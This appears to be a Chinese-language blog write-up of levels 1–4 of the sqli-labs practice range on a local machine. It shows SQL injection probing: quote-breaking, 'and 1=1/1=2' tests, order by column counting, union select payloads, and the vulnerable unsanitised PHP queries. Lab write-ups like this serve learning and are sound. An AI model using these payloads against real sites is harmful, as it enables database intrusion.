靶场练习-Sqli-labs通关记录(1-4关)

 
 
 
 
 
 
 
 
 
 
 
 
 

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(1)第一关:

简单的注入:

首先尝试',会出现报错:

 

然后尝试使用:and 1=1 --+ ,会发现显示正常,这是因为该查询语句不再看前面的id=2'的报错参数,转而发现and 1=1 是一条正常的语句:

 

 and 1=2后就会出现异常,且不会显示任何数据:

 

然后以列单位进行排序操作:当order by 到第三列,都是正常的,order by第四列就会报错,因为表格的列仅为三列:

 

 

然后即可使用联合查询语句进行查询,之后的操作将慢慢通关叙述:

http://127.0.0.1/sqli-labs/Less-1/?id=-2' union select 1,2,3--+

 

(2)第二关:

第二关其实与第一关雷同,主要是数字型与字符型的区别:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

 

这里的查询语句中,$id并未进行处理,因此可以直接执行其查询操作,使用 and 1=2时,会出现错误,故该条查询语句无法执行。

 

而and 1=1为真,故返回正常查询结果

 

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3--+

 

 同样是3列,与第一关差不多,仅仅是id为数字型的区别。

 

(3)第三关:

与第二关、第一关相差不大,此处出现报错时有语法提示:"1")

 

猜测此处的闭合语句应是如下的:

Select login_name, select password from table where id= ('our input here')
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=1--+    #显示正常

 

http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2--+  #显示不正常

 

所以可以判断此处使用的闭合语句无误! 接下来的查询语法与上两关一致。

 

(4)第四关:

尝试  ',无任何回显,尝试 ",发现出现报错:

 

 

发现报错内容为:

the right syntax to use near '"1"") LIMIT 0,1' at line 1

 

因代码当中对id参数进行了 "" 和 () 的包装,故尝试使用闭合语句判断查询类型:

http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=1--+

 

and 1=1--+ 回显正常:

 

and 1=2--+回显不正常,判定可能存在注入:

 

http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+

 

SQL查询语句,31行:

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

所以可以判断此处使用的闭合语句无误! 接下来的查询语法与上两关一致。

posted @ 2021-02-22 09:39  铺哩  阅读(249)  评论(0编辑  收藏  举报